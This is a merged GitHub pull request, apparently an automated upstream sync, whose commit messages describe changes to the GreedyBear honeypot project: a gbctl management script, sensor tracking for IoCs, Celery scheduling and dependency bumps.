[pull] main from intelowlproject:main#29
Merged
pull[bot] merged 20 commits intothreatcode:mainfrom Feb 16, 2026
Merged
Conversation
…cesses. Closes #752 (#756) * feat: Add comprehensive start script to simplify setup and updates (#752) This commit implements a comprehensive bash script that streamlines the GreedyBear setup, deployment, and update processes. Key Features: - Automated environment setup (env_file, env_file_postgres, .env) - Dependency checks for Docker and Docker Compose - Smart Docker Compose orchestration with multiple override files - Deployment modes: prod, dev, test - One-command operations: init, up, down, update, logs, ps, etc. - Silent mode (-s flag) for non-interactive installations - Support for deployment flags: --https, --elastic, --stag, --use-version - Automatic Django secret generation - Color-coded logging for better UX - Comprehensive help documentation Benefits: - Reduces setup from ~10 manual steps to 1-2 commands - Simplifies updates with a single command - Provides clear feedback and error messages - Makes deployment more accessible and less error-prone - Supports automated deployments (e.g., Ansible) Updated README.md with quick start guide and common command examples. Co-authored-by: IntelOwl team <intelowl@honeynet.org> * feat: Implement maintainer feedback - env regeneration, version mgmt, multi-distro support - Add env file regeneration with backup in interactive mode - Override env files in silent mode for automation - Implement git tag checkout for version management (aligns code + Docker images) - Add Docker installation support for Alma, Fedora, Rocky, OpenSUSE (matching T-Pot) - Improve user experience with better prompts and feedback * refactor: Rename start script to gb-ctl - Avoid conflict with existing greedybear/ Django app directory - Follow kubectl/systemctl naming convention - Update all documentation and help text to use gb-ctl * refactor: Rename gb-ctl to gbctl (no hyphen) - Cleaner name matching kubectl/systemctl convention - Easier to type without hyphen * feat: Add backup, restore, health, and clean commands New commands: - backup: Create timestamped PostgreSQL backups with gzip compression - restore: Restore from backup with confirmation prompt - health: Check all services status with visual indicators - clean: Complete removal of all data and containers (with safety confirmation) Enhances operational capabilities for production deployments. * feat: Update README to include gbctl operations and commands * refactor: Update restore command in README and improve error handling in gbctl script * refactor: Simplify Docker installation and enhance backup/restore functionality * refactor: Address maintainer feedback and code review - Remove Django secret generation (Django handles this automatically) - Remove URL display after service startup (may be incorrect with custom nginx config) - Add backup files to .gitignore (env backups, backups/ directory) - Revert README to simple version (detailed docs in installation guide) - Remove deprecated --project-name and --use-version options - Fix typo: llog_warning -> log_warning - Simplify env file configuration warning message * Refactor gbctl: DRY docker privilege detection and fix logging * feat: Implement Elasticsearch endpoint configuration, git-based updates, and a version downgrade check, alongside standardizing absolute paths. * feat: Add `--force` option, improve help message clarity for flags, and implement dynamic Docker command detection. * Refactor gbctl: robustness improvements and create-admin command - Use absolute paths based on SCRIPT_DIR - Add downgrade protection with version checking - Add git installation check and auto-update support - Fix docker compose permission check logic - Add create-admin command for easier superuser creation - Update documentation and help text * fix: Remove duplicate ELASTIC_ENDPOINT definition and clarify backup path in restore command. * Fix silent mode superuser creation Add dummy first_name and last_name values to create-admin command in silent mode to satisfy required fields of custom user model. * Preserve backups during clean Remove deletion of backups directory from cmd_clean to prevent accidental data loss. * Refactor configuration, add logs app, add version check This commit implements the agreed refactor: - Configuration is now persisted in .gbctl.conf by 'init' and loaded by other commands. - 'logs app' command tails internal Django logs. - Version mismatch check warns if git branch doesn't match deployment mode. - 'up' command is now idempotent and configuration-driven. * Fix version variable export condition Export REACT_APP_INTELOWL_VERSION whenever a specific version is requested, regardless of ENV_MODE, to ensure correct image tags in all modes. * Fix sed interpolation vulnerability Escape ampersand in ELASTIC_ENDPOINT to correctly handle URL parameters during sed replacement. * Fix error handling in silent create-admin Wrap docker exec in if-condition to properly handle failures with set -e, and remove duplicate comment. * Secure backup files and directory Set restricted permissions (0700) for backup directory and (0600) for backup files to prevent unauthorized access on shared systems. * Add env vars for admin credentials Support GB_ADMIN_USERNAME, GB_ADMIN_PASSWORD, and GB_ADMIN_EMAIL for secure silent admin creation. * Secure docker exec env vars Prevent exposure of admin credentials in process list by exporting them first and passing by name to docker exec. * Fix version export for latest tag Always export REACT_APP_INTELOWL_VERSION when USE_VERSION is true to prevent empty variable errors in docker-compose, even for 'latest'. * Secure config loading Replace insecure source command with safe key-value parsing for .gbctl.conf to prevent arbitrary code execution. * feat: change missing Git dependency from critical error to a warning, allowing the script to continue execution with limited functionality. --------- Co-authored-by: IntelOwl team <intelowl@honeynet.org>
* fix(migration): remove unused Log4pot from GeneralHoneypot (#773) - Add data migration 0034_remove_unused_log4pot to delete Log4pot entries that have no associated IOCs - Migration 0030 created Log4pot with active=True unconditionally, causing empty honeypots to appear in admin/dashboard - If user later enables Log4Pot on T-Pot, extraction pipeline will auto-create the entry when it encounters Log4pot data - Add tests to verify Log4pot is deleted when unused and kept when it has IOCs * docs: Clarify comments in the Log4pot cleanup migration to explain exception handling and rephrase previous migration reference.
* tooltip to show feed scores on frontend * run prettier * rollback flags to separate columns; fix expected interactions * remove formatInteger from asn * Add aria-label for accessibility and handle null values for expected interactions * handle null expected_interactions Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com> * Remove unused properties in feeds table * add simple test to check details popover on feeds table --------- Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>
* Reorganize Celery beat schedule for better maintainability - Move hourly monitoring tasks to :05 and :15 - Bundle all daily/weekly maintenance tasks at 1:05 AM - Add clear section headers for improved readability - Ensure no collisions with extraction slots (:00, :10, :20, :30, :40, :50) - Simplify from scattered times (1:03, 2:03, 4:03, 4:15, 4:30) to single time (1:05) Fixes #747 * Refactor Celery tasks scheduling and chain training - Added `train_and_update_after_midnight` task to ensure training runs only after midnight extraction via Celery chain(). - Updated jobs previously scheduled at minute=5 to minute=7 to avoid edge cases with EXTRACTION_INTERVAL. * Update the comments according to the new scheduled time * Fix duplicate midnight extraction by adding chain flag parameter Previously, both the regular `extract_all` schedule (every 10 min) and `train_and_update_after_midnight` were running extraction at 00:00, causing duplicate data extraction. Changes: - Added `is_midnight_chain` parameter to `extract_all` task - Regular midnight(12:00 AM) extraction now skips when `is_midnight_chain=False` - Midnight(12:00 AM) chain explicitly passes `is_midnight_chain=True` - Added `*args, **kwargs` to `chain_train_and_update` for chain compatibility This ensures only ONE extraction runs at midnight (via the chain), and training runs sequentially after extraction completes. Fixes duplicate extraction issue raised in previous review. * Update extract_all task to use UTC time * Revert scheduling changes to avoid duplicate extraction race condition Restore the original training task scheduling as discussed in review. Remove datetime.utcnow() which was introduced with the new scheduling logic.
* feat: Track IoC-Sensor relationship (#779) - Add ManyToMany relationship between IOC and Sensor models - Refactor SensorRepository to use dict cache and return Sensor objects - Rename add_sensor() to get_or_create_sensor() for clarity - Update extraction pipeline to capture and pass sensor data through strategies - Modify iocs_from_hits() to return (IOC, sensors) tuples - Update IocProcessor to accept sensor parameter and associate with IOCs - Add add_sensor_to_ioc() method to IocRepository - Fix bug: process each IoC once to avoid duplicate counter increments - Update admin panel to display sensor list for each IoC - Add comprehensive tests for sensor tracking (104 tests passing) This enables tracking which T-Pot sensors detected which IoCs, providing valuable forensic data in multi-sensor deployments. * fix: Update sensor repository method calls to use get_or_create_sensor and initialize cache * feat: Add tests for adding sensors to IoC with idempotency and multiple sensors * chore: remove old migration in preparation for rebase * feat: Add sensors ManyToMany field to IOC model This migration adds the sensors field which depends on the TorExitNode index rename migration (0035) from upstream develop. * refactor: simplify sensor handling per review feedback - Remove add_sensor_to_ioc wrapper method from IocRepository (ManyToManyField.add is already idempotent) - Keep iocs_from_hits returning list[IOC] instead of tuples - Attach sensors to IOC via _sensors_to_add temporary attribute - Handle sensors in _merge_iocs for existing IOCs (consolidates merge logic) - Handle sensors after save for new IOCs - Use IOC.sensors.add(sensor) directly in strategies * perf: add prefetching to IOCAdmin queryset to avoid N+1 queries * fix: prevent duplicate sensors with unique constraint and get_or_create - Add unique=True to Sensor.address field (database-level protection) - Use Sensor.objects.get_or_create() for atomic, race-safe creation - Add get_queryset prefetch_related for N+1 query optimization in admin This prevents duplicate Sensor records in multi-worker Celery environments as suggested by @regulartim in code review. * fix(tests): align sensor mock with repo implementation and document temp attribute usage * fix: refactor sensor deduplication to use sensor IDs * fix(migration): add data migration to deduplicate sensors before unique constraint
Bumps [django-ses](https://github.com/django-ses/django-ses) from 4.6.0 to 4.7.1. - [Release notes](https://github.com/django-ses/django-ses/releases) - [Changelog](https://github.com/django-ses/django-ses/blob/main/CHANGES.md) - [Commits](django-ses/django-ses@v4.6.0...v4.7.1) --- updated-dependencies: - dependency-name: django-ses dependency-version: 4.7.1 dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Bumps library/nginx from 1.29.4-alpine to 1.29.5-alpine. --- updated-dependencies: - dependency-name: library/nginx dependency-version: 1.29.5-alpine dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
…790) Bumps [elasticsearch](https://github.com/elastic/elasticsearch-py) from 9.2.1 to 9.3.0. - [Release notes](https://github.com/elastic/elasticsearch-py/releases) - [Commits](elastic/elasticsearch-py@v9.2.1...v9.3.0) --- updated-dependencies: - dependency-name: elasticsearch dependency-version: 9.3.0 dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
* use direct env passing in cmd_create_admin * drop database before restoring it * write dump to a file inside the container to avoid stdout corruption in cmd_backup * remove .gbctl.conf alongside env files in cmd_clean * offer to regenerate env_file_postgres in interactive mode, matching env_file behavior * rename --version flag to --release * add flag validation * adapt help text accordingly * use .env file to store container configuration * checkout matching git branch when running init * simplify init flags * fix directory usage of docker commands * rename --elastic flag * improve update logic for pinned versions * fix tag sorting * add .env backups to gitignore * warn about uncommitted changes on version switch
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to subscribe to this conversation on GitHub.
Already have an account?
Sign in.
5 participants
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
See Commits and Changes for more details.
Created by
pull[bot] (v2.0.0-alpha.4)
Can you help keep this open source service alive? 💖 Please sponsor : )